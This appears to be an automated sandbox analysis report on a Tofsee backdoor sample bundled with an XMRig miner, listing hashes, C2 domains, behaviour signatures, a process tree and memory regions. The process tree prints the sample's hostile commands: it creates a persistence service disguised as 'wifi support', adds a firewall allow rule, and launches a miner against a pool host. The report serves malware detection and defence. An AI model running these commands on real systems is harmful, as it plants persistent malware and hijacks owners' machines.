Analysis

  • max time kernel
    143s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/12/2022, 23:44

General

  • Target

    707794eed28f8c7efd154aa947fb77fa182cff9c9c8289aaaac5dac40f6571f6.exe

  • Size

    215KB

  • MD5

    0ff25d7ac8af430e2f10e21a6bf33c80

  • SHA1

    9954e396f2be967eda1165dbab49ecc3ee676e8f

  • SHA256

    707794eed28f8c7efd154aa947fb77fa182cff9c9c8289aaaac5dac40f6571f6

  • SHA512

    f8fa5b0b4263bae58804be99fce380bd9afe4f09995e888e7f00f8b08f85837093b007b90726d5bd7e2f1580561df8df6ecd20de004e44dbe40f089819bbb6ea

  • SSDEEP

    6144:r+YLPnjOQWSNb61+rr+fv+0TO1ejcbXF:r+Yj6kb61k/0TOgYbXF

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\707794eed28f8c7efd154aa947fb77fa182cff9c9c8289aaaac5dac40f6571f6.exe
    "C:\Users\Admin\AppData\Local\Temp\707794eed28f8c7efd154aa947fb77fa182cff9c9c8289aaaac5dac40f6571f6.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4076
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\urqnwev\
      2⤵
        PID:1800
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pfywtcji.exe" C:\Windows\SysWOW64\urqnwev\
        2⤵
          PID:116
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create urqnwev binPath= "C:\Windows\SysWOW64\urqnwev\pfywtcji.exe /d\"C:\Users\Admin\AppData\Local\Temp\707794eed28f8c7efd154aa947fb77fa182cff9c9c8289aaaac5dac40f6571f6.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3704
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description urqnwev "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2456
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start urqnwev
          2⤵
          • Launches sc.exe
          PID:2276
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1104
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4076 -s 1040
          2⤵
          • Program crash
          PID:3712
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 4076 -ip 4076
        1⤵
          PID:1668
        • C:\Windows\SysWOW64\urqnwev\pfywtcji.exe
          C:\Windows\SysWOW64\urqnwev\pfywtcji.exe /d"C:\Users\Admin\AppData\Local\Temp\707794eed28f8c7efd154aa947fb77fa182cff9c9c8289aaaac5dac40f6571f6.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:2416
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:3356
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4004
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2416 -s 532
            2⤵
            • Program crash
            PID:4476
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 2416 -ip 2416
          1⤵
            PID:1744

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\pfywtcji.exe

            Filesize

            10.9MB

            MD5

            ea4a603bf17b3e5c470b59adafbd38cd

            SHA1

            407ddc10e5ce310faeff28348a165ecc9d906c20

            SHA256

            287095245c5f682bd4125778ca824e85ce96a898dfde3ebf1dd7f60f43e5c607

            SHA512

            e7ba84daaa75ef4d10f879da95a20c3716d62c8066f8c66d21af3b71316775fda7b388d7e7e7b9a02d329623e982e8b395923563a64e3bfb7967a3c4b0eb61e8

          • C:\Windows\SysWOW64\urqnwev\pfywtcji.exe

            Filesize

            10.9MB

            MD5

            ea4a603bf17b3e5c470b59adafbd38cd

            SHA1

            407ddc10e5ce310faeff28348a165ecc9d906c20

            SHA256

            287095245c5f682bd4125778ca824e85ce96a898dfde3ebf1dd7f60f43e5c607

            SHA512

            e7ba84daaa75ef4d10f879da95a20c3716d62c8066f8c66d21af3b71316775fda7b388d7e7e7b9a02d329623e982e8b395923563a64e3bfb7967a3c4b0eb61e8

          • memory/2416-154-0x0000000000400000-0x000000000045D000-memory.dmp

            Filesize

            372KB

          • memory/2416-153-0x0000000000673000-0x0000000000684000-memory.dmp

            Filesize

            68KB

          • memory/2416-147-0x0000000000400000-0x000000000045D000-memory.dmp

            Filesize

            372KB

          • memory/2416-146-0x0000000000673000-0x0000000000684000-memory.dmp

            Filesize

            68KB

          • memory/3356-155-0x0000000000150000-0x0000000000165000-memory.dmp

            Filesize

            84KB

          • memory/3356-162-0x00000000017E0000-0x00000000017F0000-memory.dmp

            Filesize

            64KB

          • memory/3356-171-0x00000000023D0000-0x00000000023D7000-memory.dmp

            Filesize

            28KB

          • memory/3356-168-0x0000000006F00000-0x000000000730B000-memory.dmp

            Filesize

            4.0MB

          • memory/3356-165-0x00000000017F0000-0x00000000017F5000-memory.dmp

            Filesize

            20KB

          • memory/3356-149-0x0000000000150000-0x0000000000165000-memory.dmp

            Filesize

            84KB

          • memory/3356-152-0x0000000000150000-0x0000000000165000-memory.dmp

            Filesize

            84KB

          • memory/3356-156-0x0000000002000000-0x000000000220F000-memory.dmp

            Filesize

            2.1MB

          • memory/3356-159-0x00000000007F0000-0x00000000007F6000-memory.dmp

            Filesize

            24KB

          • memory/4004-175-0x0000000000690000-0x0000000000781000-memory.dmp

            Filesize

            964KB

          • memory/4004-180-0x0000000000690000-0x0000000000781000-memory.dmp

            Filesize

            964KB

          • memory/4076-144-0x0000000002190000-0x00000000021A3000-memory.dmp

            Filesize

            76KB

          • memory/4076-133-0x0000000002190000-0x00000000021A3000-memory.dmp

            Filesize

            76KB

          • memory/4076-143-0x00000000006E8000-0x00000000006F9000-memory.dmp

            Filesize

            68KB

          • memory/4076-134-0x0000000000400000-0x000000000045D000-memory.dmp

            Filesize

            372KB

          • memory/4076-132-0x00000000006E8000-0x00000000006F9000-memory.dmp

            Filesize

            68KB

          • memory/4076-145-0x0000000000400000-0x000000000045D000-memory.dmp

            Filesize

            372KB